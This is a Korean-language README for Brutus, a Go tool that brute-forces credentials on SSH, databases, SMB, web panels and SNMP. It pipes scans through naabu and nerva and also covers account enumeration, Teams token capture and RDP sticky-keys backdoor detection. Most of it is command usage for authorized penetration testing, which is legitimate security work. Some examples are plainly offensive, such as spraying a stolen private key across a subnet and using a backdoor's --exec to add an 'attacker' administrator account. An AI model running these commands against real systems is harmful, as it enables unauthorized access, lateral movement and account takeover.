
Go로 작성된 빠르고 의존성 없는 자격 증명 테스트 도구입니다. SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB 및 20개 이상의 프로토콜을 무차별 대입합니다. 기본 nerva/naabu 파이프라인 통합을 갖춘 Hydra 대체 도구입니다.
"Et tu, Brute?" — 자격 증명이 무너지기 전의 마지막 말.
순수 Go로 작성된 현대적인 자격 증명 테스트 도구
설치 • 빠른 시작 • 파이프라인 • 지원 프로토콜 • 계정 열거 • 프록시 • 라이브러리
Brutus는 다양한 네트워크 서비스에 대한 효율적인 자격 증명 검증이라는 공격적 보안 도구의 중요한 격차를 해결하기 위해 설계된 다중 프로토콜 인증 테스트 도구입니다. HTTP에 초점을 맞춘 도구는 많지만, 침투 테스터와 레드팀 운영자는 데이터베이스, SSH, SMB 및 기타 네트워크 서비스를 자주 마주하게 되며, 이러한 서비스에는 특화된 인증 테스트 기능이 필요합니다.
Go로 작성되어 외부 의존성이 전혀 없는 단일 바이너리로 제공되는 Brutus는 Nerva와 원활하게 통합되어 자동 서비스 검색을 지원하며, 운영자가 전체 네트워크 범위에서 인증 벡터를 신속하게 식별하고 테스트할 수 있도록 합니다.
주요 기능:
--proxy 플래그로 모든 트래픽을 SOCKS5 프록시를 통해 라우팅--mode cautious|default|aggressiveTHC Hydra와 같은 전통적인 도구는 보안 커뮤니티에 유용하게 사용되어 왔지만, 복잡한 의존성 체인, 플랫폼별 컴파일 문제, 현대적인 정찰 워크플로우와의 기본 통합 부재 등 상당한 마찰이 있습니다.
Brutus는 현대적인 공격적 보안을 위해 특별히 제작되었습니다:
libssh-dev, libmysqlclient-dev 없음, 컴파일 오류 없음. Linux, macOS, Windows에서 동일하게 작동합니다.brutus badkeys 명령어로 SSH 대상에 대해 테스트하세요.naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
---
## 사용 사례
### 침투 테스트
- 내부 평가 중에 발견된 자격 증명을 여러 서비스에서 검증
- 데이터베이스 및 파일 공유 서비스 전반의 비밀번호 재사용 패턴 테스트
- 새로 배포된 인프라에서 기본 자격 증명 식별
### 레드 팀 운영
- 비밀번호 덤프 또는 피싱 캠페인 이후 빠른 자격 증명 검증
- 네트워크 서비스 전반의 측면 이동 기회 테스트
- 이질적인 환경에서 손상된 자격 증명 검증
### 개인 키 스프레이
손상된 시스템에서 개인 키를 찾았나요? 네트워크 전체에 스프레이하여 다른 곳에서도 액세스 권한을 부여하는지 확인하세요:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
이 파이프라인은 모든 SSH 서비스를 발견하고, Nerva로 식별하며, 손상된 키를 일반적인 사용자 이름으로 테스트하여 몇 초 만에 측면 이동 기회를 드러냅니다.
HTTP 서비스를 발견하고 AI 기반 탐지 또는 수동 자격 증명 목록을 사용하여 자격 증명을 테스트합니다:```bash
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json
### 보안 검증
- 새로 배포된 서비스에 기본 자격 증명 테스트
- 플랫폼 간 비밀번호 정책 적용 검증
- 컴플라이언스 및 보안 평가를 위한 감사 추적 생성
---
## 설치
### 사전 빌드된 바이너리 (권장)
[GitHub Releases](https://github.com/praetorian-inc/brutus/releases)에서 다운로드:```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
입력:```powershell
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip
### Go 설치```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
Brutus는 기능을 6개의 특화된 하위 명령어로 구성합니다.```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)
각 서브명령어에는 검색을 위한 별칭이 있습니다:
| 서브명령어 | 별칭 |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(없음)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
brutus creds --target 192.168.1.100:22 --protocol ssh
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
brutus creds --target 192.168.1.100:22 --protocol ssh --json
### 출력 예시```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
상세 모드와 함께 (-v):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
파이프라인 통합을 위한 JSON 출력 (성공한 자격 증명만 출력):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
Brutus는 Nerva 및 naabu 와 완벽하게 통합되어 완벽한 네트워크 정찰을 수행합니다.
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json
cat results.json | jq '.'
#### 시나리오 2: 대상 도메인에서의 버그 바운티 리콘```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json
jq -r '"(.target) (.username):(.password)"' database-findings.json
#### 시나리오 4: 인프라 전반 SSH 키 테스트```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds
naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb
### Scan Tool Import (Nmap & Masscan)
Brutus는 **nmap** 및 **masscan** 스캔 출력 파일에서 직접 대상을 가져올 수 있어 형식 변환이나 중간 도구가 필요하지 않습니다.
#### Nmap XML Import (`--nmap-file`)
nmap의 XML 출력(`-oX`)에서 대상을 가져옵니다. Nmap은 서비스 핑거프린팅을 제공하므로 Brutus는 자동으로 감지된 서비스를 올바른 프로토콜에 매핑합니다:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
Nmap 서비스 이름은 Brutus 프로토콜에 자동으로 매핑됩니다(예: ms-wbt-server → rdp, microsoft-ds → smb). TLS는 nmap의 tunnel="ssl" 속성에서 감지됩니다. 활성 호스트의 열린 포트만 가져옵니다.
--masscan-file)masscan의 JSON 출력(-oJ)에서 대상을 가져옵니다. masscan은 포트 스캐너만(서비스 지문 인식 없음)이므로, --protocol을 지정하거나 Brutus가 Nerva로 자동 핑거프린팅하도록 해야 합니다:```bash
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
brutus creds --masscan-file scan.json -P passwords.txt
#### 다른 워크플로우와 결합
`--nmap-file` 및 `--masscan-file` 플래그는 모든 하위 명령어와 함께 작동하며, `--target`, `--targets-file` 및 stdin과 상호 배타적입니다:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
Brutus는 stdin에서 여러 입력 형식을 허용합니다:
Nerva JSON (nerva --json):```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
**Nerva URI** (기본 Nerva 출력, `--json` 옵션 불필요):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
베어 타겟 (Nerva로 자동 핑거프린팅됨):```bash echo "192.168.1.100:22" | brutus creds
Brutus는 자동으로:
- JSON, URI 스킴 및 bare 대상 형식을 파싱합니다
- 서비스를 프로토콜에 매핑합니다
- 적절한 기본 자격 증명을 테스트합니다
- 일치하는 JSON 형식으로 결과를 출력합니다
### 파이프라인 출력 형식
Brutus는 성공한 자격 증명만 JSONL 형식(각 줄에 하나의 JSON 객체)으로 출력합니다:```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
참고: 실패한 인증 시도는 JSON 출력에 포함되지 않습니다. key 필드는 인증에 비밀번호 대신 SSH 키를 사용한 경우 true로 나타납니다. llm_suggested 필드는 AI 시스템(--experimental-ai)이 자격 증명을 추천한 경우 true로 나타납니다.
Brutus는 27개 프로토콜을 지원합니다:
| 프로토콜 | 포트 | 인증 방법 | 사용 사례 |
|---|---|---|---|
| HTTP | 80 | 기본 인증 | 관리자 패널 (Grafana, Jenkins 등) |
| HTTPS | 443 | 기본 인증 | 보안 관리자 패널 |
| 프로토콜 | 포트 | 인증 방법 | 사용 사례 |
|---|---|---|---|
| Docker | 2375/2376 | 인증 없음 | 노출된 Docker 데몬 |
| Kubernetes | 6443/10250 | 인증 없음 | 노출된 K8s API/kubelet |
외부 키 파일이 필요 없는 단일 바이너리 배포. 각 키는 스마트 자격 증명 매핑을 위해 기본 사용자 이름과 쌍을 이루며, CVE 추적을 통해 규정 준수 쿼리를 활성화합니다.
Brutus는 바이너리에 rapid7/ssh-badkeys 및 Vagrant 키 컬렉션을 포함하고 있습니다:```bash
brutus badkeys --target 192.168.1.100:22
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
### 내장 키 모음
| 제품 | CVE | 기본 사용자 | 설명 |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant의 안전하지 않은 키 |
| F5 BIG-IP | CVE-2012-1493 | root | 고정 SSH 호스트 키 |
| ExaGrid | CVE-2016-1561 | root | 백업 어플라이언스 백도어 |
| Monroe DASDEC | CVE-2013-0137 | root | 비상 경보 시스템 |
| Barracuda | CVE-2014-8428 | cluster | 로드 밸런서 VM |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | 무선 백홀 |
| Array Networks | - | sync | vAPV/vxAG 어플라이언스 |
| Quantum DXi | - | root | 중복 제거 어플라이언스 |
| Loadbalancer.org | - | root | 엔터프라이즈 로드 밸런서 |
---
## 공격성 모드
전역 `--mode` 플래그(`-m`)는 모든 서브커맨드의 공격성을 제어합니다. 이는 적용 범위와 안전성 간의 균형을 맞추는 성능 튜닝 사전 설정을 설정합니다.
| 모드 | 스레드 | 타임아웃 | 속도 제한 | 지터 | 재시도 | 사용 사례 |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | 프로덕션 환경, 잠금 방지 |
| `default` | 10 | 10s | Unlimited | None | 2 | 표준 테스트 |
| `aggressive` | 20 | 10s | Unlimited | None | 3 | 랩/CTF 환경, 최대 적용 범위 |
모드 사전 설정이 먼저 적용된 후, 명시적인 CLI 플래그가 이를 재정의합니다.```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
SNMP의 경우, 모드는 내장된 워드리스트 깊이도 제어합니다 (SNMP 커뮤니티 문자열 테스트 참조).
--proxy 플래그는 모든 연결을 SOCKS5 프록시를 통해 라우팅합니다. 이는 모든 프로토콜과 하위 명령어에서 작동합니다.```bash
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
Supported schemes:
- `socks5://` — 표준 SOCKS5 프록시 (클라이언트 측 DNS 확인)
- `socks5h://` — 원격 DNS 확인을 사용하는 SOCKS5 (내부 호스트네임을 대상으로 할 때 유용)
---
## SNMP 커뮤니티 문자열 테스트
`snmp` 하위 명령어는 글로벌 `--mode` 플래그로 제어되는 계층화된 단어 목록을 사용한 전용 SNMP v1/v2c 커뮤니티 문자열 테스트를 제공합니다:
| 모드 | 문자열 수 | 범위 |
|------|---------|----------|
| `cautious` | ~25 | 일반적인 문자열 (public, private, community 등) |
| `default` | ~25 | cautious와 동일 |
| `aggressive` | 200+ | 포괄적 (벤더별, SCADA, IP 카메라, 스토리지 등) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
보안 자동화 도구를 개발하는 개발자들을 위해, Brutus는 Go 라이브러리로도 임포트할 수 있습니다:```bash go get github.com/praetorian-inc/brutus
번역할 Markdown 콘텐츠를 제공해 주세요.```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
⚠️ 실험적 기능: AI 기능은 외부 API 키가 필요하며, 현재 활발히 개발 중입니다.
--experimental-ai 플래그--experimental-ai 플래그는 HTTP 서비스에 대한 자동 자격 증명 탐지를 활성화합니다:```bash
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai
**작동 방식:**
1. **탐지** — Brutus가 HTTP 대상에 접속하여 인증 유형(기본 인증 vs 폼 기반)을 탐지합니다.
2. **장치 식별** — Claude Vision이 스크린샷을 분석하여 장치/애플리케이션을 식별합니다.
3. **자격 증명 제안** — Claude가 훈련 데이터에서 기본 자격 증명을 제안합니다.
4. **선택적 웹 검색** — Perplexity(설정된 경우)가 온라인에서 추가 자격 증명을 검색합니다.
5. **테스트** — 발견된 자격 증명을 대상에 대해 테스트합니다.
**HTTP 기본 인증 대상의 경우:**
- `/`를 탐색하여 HTTP 헤더를 캡처합니다.
- Server 헤더, WWW-Authenticate 영역 등에서 장치를 식별합니다.
- Claude가 예상되는 기본 자격 증명을 제안합니다.
- 자격 증명 쌍을 자동으로 테스트합니다.
**HTTP 폼 기반 인증 대상의 경우:**
- 헤드리스 Chrome을 사용하여 페이지를 렌더링하고 스크린샷을 캡처합니다.
- Claude Vision이 로그인 폼, 장치 유형을 식별하고 자격 증명을 제안합니다.
- Perplexity(선택 사항)가 추가 기본 자격 증명을 검색합니다.
- 브라우저 자동화가 폼을 작성하고 제출합니다.
**요구 사항:**
- `ANTHROPIC_API_KEY` — Claude Vision(장치 식별 + 자격 증명 제안)에 **필수**
- `PERPLEXITY_API_KEY` — 추가 웹 검색 연구에 *선택 사항*
- Chrome/Chromium 설치(폼 기반 인증 전용)
**Non-HTTP 프로토콜(SSH, MySQL 등)은 `--experimental-ai`의 영향을 받지 않습니다** — 표준 자격 증명 테스트를 계속 사용합니다.
---
## RDP: 고정 키 백도어 탐지 및 익스플로잇
Brutus는 RDP 대상에 대한 **고정 키 백도어**(MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546.008/))의 자동 탐지를 포함합니다. 이 사전 인증 검사는 비-NLA RDP 대상에서 실행됩니다 — 자격 증명이 필요하지 않습니다.
**작동 방식:**
1. RDP 대상에 연결하고 비-NLA 세션을 협상합니다.
2. 기준선으로 로그인 화면 비트맵을 캡처합니다.
3. Shift 키를 5회 전송합니다(고정 키 트리거).
4. 응답 비트맵을 캡처합니다.
5. 휴리스틱 분석이 터미널 창(cmd.exe, PowerShell 등)이 나타났는지 감지합니다.
6. 선택적으로 Claude Vision API를 통해 확인합니다(`ANTHROPIC_API_KEY`가 설정된 경우).```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
탐지 전용 모드: logon 하위 명령어는 무차별 대입 없이 고정 키 및 유틸리티 관리자 백도어 탐지를 실행합니다:```bash
brutus logon --target 10.0.0.50:3389
**탐지 출력:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
--exec)백도어가 탐지되면, 사전 인증 명령 프롬프트를 통해 원격 시스템에서 명령을 실행합니다:```bash
brutus logon --target 10.0.0.50:3389 --exec "whoami"
brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
이렇게 하면 연결하고, 백도어를 트리거하고, 명령어를 입력하고, Enter를 누르고, 출력을 기다린 후 결과의 PNG 스크린샷을 저장합니다.
### Interactive Web Terminal (`--web`)
브라우저 기반 RDP 뷰어를 실행하여 백도어 명령 프롬프트와 실시간으로 상호작용하세요:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
이는 로컬 HTTP 서버를 다음 기능과 함께 시작합니다:
표시된 URL(예: http://127.0.0.1:<port>)을 아무 브라우저에서 열어 원격 RDP 세션과 상호작용하세요. 서버 측 유휴 시간 초과로 세션이 끊어지면 재연결을 클릭하여 새 세션을 시작합니다.
참고: NLA가 아닌 RDP 세션에는 서버 측 유휴 시간 초과가 있습니다(Windows 기본값은 구성에 따라 다르며, 일반적으로
컴퓨터 구성 > 관리 템플릿 > 원격 데스크톱 서비스 > 세션 시간 제한의 그룹 정책으로 제어됩니다). 테스트 대상에서 시간 초과를 연장하려면 레지스트리에서MaxIdleTime을0으로 설정하세요:HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
B-TP (양성 참양성) 고려 사항: 백도어 교체는 또한 잊어버린 비밀번호 복구 절차나 승인된 침투 테스트의 아티팩트를 나타낼 수 있습니다.
대규모 평가를 위해 logon 하위 명령어는 여러 대상에서 백도어 탐지를 실행합니다. 파이프라인 입력, 대상 파일 또는 nmap/masscan 가져오기를 지원하며 — RDP 서비스만 테스트됩니다:```bash
naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json
brutus logon --nmap-file scan.xml --json -o rdp-findings.json
brutus logon --targets-file rdp-targets.txt --json
jq 'select(.finding == "[CRITICAL]")' rdp-findings.json
**기술적 구현:** RDP 프로토콜 지원은 [IronRDP](https://github.com/Devolutions/IronRDP) (Rust)를 WebAssembly로 컴파일하고 [wazero](https://github.com/tetratelabs/wazero)를 통해 실행하며, Brutus의 제로-CGO, 단일 바이너리 설계를 유지합니다.
---
## 계정 열거
`enum` 하위 명령은 조직에 대해 어떤 계정 존재 여부 오라클이 작동하는지 (그리고 그에 대해 이메일을 열거) 또는 Active Directory 사용자를 열거하며, 모두 비밀번호를 보내지 않습니다.
### 계정 존재 여부 오라클 열거
인증되지 않은 계정 존재 여부 오라클(microsoft365, google, github, 그리고 Microsoft Teams 오라클)이 조직에 대해 어떤 것들이 작동하는지 식별하고, 알려진 유효 사용자에 대해 검증한 후, 작동하는 오라클들에 대해 후보 이메일을 열거합니다. DNS TXT 정찰은 후보 오라클을 표면화하며, `--known-valid`에 대한 검증이 핵심입니다. `--known-valid`는 필수이며, 열거는 이를 확인하는 오라클에 대해서만 실행됩니다:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]
# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]
Kerberos AS-REQ를 통해 Active Directory 사용자 이름 열거 (비밀번호 전송 없음, 잠금 위험 없음):```bash
brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt
brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt
brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -
### 이메일/사용자 이름 생성
내장된 이름/성 워드리스트로부터 이메일 주소나 사용자 이름을 생성합니다:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast
# Generate usernames only (no domain): jsmith
brutus enum generate --format flast
# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last
Hunter.io 도메인 검색 API를 통해 도메인과 연결된 사람들(이메일, 이름, 직책, 전화번호, 부서, 직급, 신뢰도)을 발견합니다. 모든 결과가 검색될 때까지 자동으로 페이지를 넘깁니다.```bash
export HUNTER_API_KEY=your_key_here
brutus enum hunter --domain example.com
brutus enum hunter --domain example.com --api-key your_key_here
brutus enum hunter --domain example.com --output people.jsonl
brutus enum hunter --domain example.com --limit 50
### Microsoft Teams / Entra ID 인증
[디바이스 코드 흐름](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code)(RFC 8628)을 사용하여 Microsoft Entra ID(Azure AD)로부터 OAuth2 액세스 토큰, 리프레시 토큰, ID 토큰을 획득합니다. 획득된 토큰은 Microsoft Graph API 호출, Teams 열거 및 [ROADtools](https://github.com/dirkjanm/ROADtools)와 같은 도구나 사용자 지정 Graph 쿼리를 통한 감사에 사용할 수 있습니다.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth
# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json
작동 방식:
login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode에서 장치 코드를 요청합니다.Ctrl+C를 누를 때까지 폴링합니다.사용자 출력은 액세스 토큰의 처음 20자만 표시합니다(확인에 충분). 전체 토큰 값을 캡처하려면 --json 또는 -o를 사용하세요.
기본 클라이언트 ID: 장치 코드 흐름을 지원하는 자사 공용 클라이언트인 Microsoft Teams 데스크톱 애플리케이션(1fec8e78-bce4-4aaf-ab1b-5451cc387264)입니다. 자체 앱 등록을 사용하려면 --client-id로 재정의하세요.```
$ brutus enum active teams auth --tenant contoso.com
[*] Starting Microsoft device code authentication...
[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m
[*] Waiting for you to complete sign-in...
[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:
#### Teams 사용자 열거
인증 후, 이메일 주소로 기업 Teams 사용자를 열거합니다. 각 결과는 `exists`, blocked (테넌트가 외부 검색을 금지하지만 사용자가 존재할 수 있음), `not found`, 또는 `unknown` (인증/전송 실패)입니다. 개인/라이브 계정은 지원되지 않습니다 — 기업 테넌트만 가능합니다.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]
# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000
# Enumerate emails from a file
brutus enum active teams users -E emails.txt
# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"
When a refresh token is available (via --token-file or --refresh-token), an
expired access token is renewed automatically once; otherwise a 401 degrades
gracefully to an unknown result.
두 가지 인증되지 않은 오라클을 사용하여 이메일 주소가 Google 계정에 해당하는지 확인합니다. 토큰이나 로그인이 필요하지 않습니다.
workspace-sso).gmail).각 결과는 exists (확인 방법과 SSO의 경우 IdP 호스트 포함) 또는 not found입니다.```bash
brutus enum active google -e [email protected],[email protected]
brutus enum active google --domain target.com --format first.last --limit 5000
brutus enum active google -E emails.txt
brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20
`--domain`는 `enum generate`와 동일한 빈도 순위 기반 이름/성 생성기를 재사용합니다. `--format`은 사용자 이름 레이아웃을 선택하고, `--limit`은 생성되는 첫 N개(가장 가능성 높은) 후보로 제한합니다. `--domain`은 `-e`/`-E`와 함께 사용할 수 있습니다.
---
## 알려진 제한 사항
### 고정 키 휴리스틱 탐지
